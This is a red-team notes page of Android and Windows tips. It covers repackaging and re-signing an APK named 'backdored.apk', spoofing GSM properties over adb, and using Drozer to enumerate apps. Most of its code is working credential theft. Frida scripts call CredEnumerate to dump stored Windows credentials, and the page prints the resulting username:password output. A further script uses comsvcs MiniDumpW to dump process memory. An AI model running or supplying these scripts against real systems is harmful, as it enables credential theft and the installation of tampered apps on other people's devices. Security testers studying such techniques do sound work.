Red Teaming
Malware Analysis
IoT / Reverse / Firmware
Basic tips
Getting certificate details from an apk
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Getting certificate details from an apkkeytool -printcert -jarfile file.apk
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apktool - decode and compile APK
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java -jar .\apktool.jar decode -r 'C:\tmp\xxxxx.apk'
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(inside the decompiled APK (root))
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java -jar ..\apktool.jar build -o c:\tmp\new.apk C:\Tools\android\apk_folder
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I: Using Apktool 2.5.0
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I: Checking whether sources has changed...
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I: Smaling smali folder into classes.dex...
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I: Checking whether sources has changed...
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I: Smaling smali_classes2 folder into classes2.dex...
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I: Checking whether resources has changed...
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I: Copying raw resources...
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I: Copying libs... (/lib)
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I: Copying libs... (/kotlin)
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I: Copying libs... (/META-INF/services)
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I: Building apk file...
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I: Copying unknown files/dir...
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I: Built apk...
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PS C:\Tools\android\>
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Create keystore key
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cd C:\Program Files\Java\jre1.8.0_251\bin
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keytool.exe -genkey -v -keystore c:\tmp\.keystore -keyalg RSA -keysize 2040 -validity 365 -alias baws
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(...)
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Generating 2,040 bit RSA key pair and self-signed certificate (SHA256withRSA) with a validity of 365 days
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for: CN=123, OU=123, O=123, L=123, ST=123, C=123
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[Storing c:\tmp\.keystore]
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Sign apk with jarsigner
Here, you need to use the alias created when you created the keystore file (baws, in this case).
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cd C:\Program Files\AdoptOpenJDK\jdk-11.0.11.9-hotspot\bin
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jarsigner.exe -sigalg SHA1withRSA -digestalg SHA1 c:\tmp\new.apk baws -keystore C:\tmp\.keystore
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(...)
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Enter Passphrase for keystore:
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jar signed.
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Warning:
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The signer's certificate is self-signed.
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Align APK to avoid errors
After sign an APK, if you got some erros such as "Failed to extract native libraries, res=-2]", probably you need to align the APK.
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.\adb.exe install C:\tmp\backdored.apk
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Performing Streamed Install
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adb: failed to install C:\tmp\backdored.apk: Failure [INSTALL_FAILED_INVALID_APK: Failed to extract native libraries, res=-2]
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Attention: You must use zipalign at one of two specific points in the app building process, depending on the app signing tool you use:
- If you use apksigner, only run zipalign before signing the apk file. If you sign your APK using apksigner and make other changes to the APK, the signature will be invalidated.
- If you use jarsigner, only run zipalign after signing the APK file.
As I used jarsigner, my last step is align the APK before installing it.
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zipalign -p -f -v 4 backdored.apk backdored-aligned.apk
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--now--
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.\adb.exe install C:\tmp\backdored.apk
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Execute target activity via ADB
First, check on the Android-Manifest.xml file the package name. It can be found on the first line of the XML file (<?xml version="1.0" encoding="utf-8" standalone="no" ... package="com.x.x.x.x" ...)
Next, pick a target activity, and add the android:name="com.x.x.com.x..v2.ui.dashboard.DashboardActivity"> ..
😇
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.\adb.exe shell am start com.xxx.xxx.xxx/com.xxx.xxx.v2.ui.dashboard.DashboardActivity
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Add GSM
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adb shell
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setprop gsm.operator.numeric 64304
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setprop gsm.sim.operator.numeric 64304
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setprop gsm.sim.operator.alpha target
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setprop gsm.operator.alpha target
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setprop gsm.sim.operator.iso-country us
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setprop gsm.operator.iso-country us
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--validate--
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getprop |grep gsm
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Frida enumerate users creds (Windows)
Release Frida 14.2.18 · frida/frida
GitHub
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function EnumerateGenericCredentials(credname){
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const CredEnumerate_ptr = Module.getExportByName("advapi32", "CredEnumerateW");
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const CredEnumerate = new NativeFunction(CredEnumerate_ptr, "pointer", ["pointer", "int", "pointer", "pointer"])
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const count = Memory.alloc(8);
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const pCredentials = Memory.alloc(8);
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const ret = CredEnumerate(NULL, 0, count, pCredentials);
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if(ret){
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console.log("Enumerate complete! Found " + count.readInt() + " entries.");
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for(var i=0; i<count.readInt(); i++){
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const curr = pCredentials.add(i*8).readPointer();
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console.log(curr.readByteArray(256));
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}
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}
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}
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[Remote::c:\windows\system32\cmd.exe]-> EnumerateGenericCredentials()
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Enumerate complete! Found 1 entries.
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0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
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00000000 18 41 e0 1c 37 02 00 00 00 00 00 00 02 00 00 00 .A..7...........
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00000010 70 41 e0 1c 37 02 00 00 00 00 00 00 00 00 00 00 pA..7...........
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00000020 a8 78 32 15 34 6c d7 01 00 00 00 00 00 00 00 00 .x2.4l..........
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00000030 00 00 00 00 00 00 00 00 03 00 00 00 00 00 00 00 ................
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00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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00000050 7e 41 e0 1c 37 02 00 00 00 00 00 00 00 00 00 00 ~A..7...........
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00000060 74 00 65 00 73 00 74 00 65 00 31 00 00 00 75 00 t.e.s.t.e.1...u.
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00000070 73 00 65 00 72 00 31 00 00 00 00 00 00 00 00 00 s.e.r.1.........
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00000080 00 00 00 00 00 00 00 00 1e 88 b1 e6 00 12 00 80 ................
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00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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000000a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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000000b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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000000c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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000000d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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000000e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
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---2nd example---
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[Remote::c:\windows\system32\cmd.exe]-> EnumerateGenericCredentials()
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Enumerate complete! Found 2 entries. pCredentials=0x1f3e83c2470
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Credentials at 0x1f3e6184310 ret: 0x1
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teste1:user1:null
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Credentials at 0x1f3e6184378 ret: 0x1
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teste2:user2:pass2
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---------------------------------------------
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function EnumerateGenericCredentials(credname){
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const CredEnumerate_ptr = Module.getExportByName("advapi32", "CredEnumerateA");
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const CredEnumerate = new NativeFunction(CredEnumerate_ptr, "pointer", ["pointer", "int", "pointer", "pointer"])
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const count = Memory.alloc(Process.pointerSize);
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const pCredentials = Memory.alloc(256);
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const ret = CredEnumerate(NULL, 0, count, pCredentials);
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if(ret){
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console.log("Enumerate complete! Found " + count.readInt() + " entries. pCredentials="+pCredentials);
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for(var i=0; i<count.readInt(); i++){
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const curr = pCredentials.readPointer().add(i * Process.pointerSize).readPointer();//.add(Process.pointerSize*2);
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console.log("Credentials at " + curr + " ret: " + ret);
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const targetname = curr.add(8).readPointer().readAnsiString();
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const size = curr.add(32).readU32();
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const blob = curr.add(40).readPointer();
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const username = curr.add(72).readPointer().readAnsiString();
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const password = blob.readUtf16String();
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console.log(targetname + ":" + username + ":" + password);
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}
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}else{
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console.log("ret is false!");
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}
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}
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--3rd example---
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[Remote::c:\windows\system32\cmd.exe]-> GetGenericCredentials("teste2")
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CredReadA is 0x7ffdd7e44e90
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Credentials at 0x1f3e83c23e0 ret: 0x1
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user2:pass2
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Frida minidump - Windows
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function MiniDump(pid, dumpname){
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const LoadLibraryW_ptr = Module.getExportByName("kernel32", "LoadLibraryW");
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const LoadLibraryW = new NativeFunction(LoadLibraryW_ptr, "int", ["pointer"]);
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LoadLibraryW(Memory.allocUtf16String("comsvcs.dll"));
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const MiniDumpW_ptr = Module.getExportByName("comsvcs", "MiniDumpW");
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const MiniDumpW = new NativeFunction(MiniDumpW_ptr, "int", ["uint32", "uint32", "pointer"]);
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const cmd = pid + " " + dumpname + " full";
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console.log("Running MiniDump(" + cmd + ")");
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MiniDumpW(0, 0, Memory.allocUtf16String(cmd));
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}
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[Remote::c:\windows\system32\cmd.exe]-> MiniDump(108, "c:\\Users\\user\\Desktop\\dump.asd")
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Drozer: Android App enumeration
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adb install drozer-agent-2.x.x.apk
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drozer console connect --server 192.168.0.10
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Basic commands below:
Drozer Tutorial
HackTricks
Last modified 6mo ago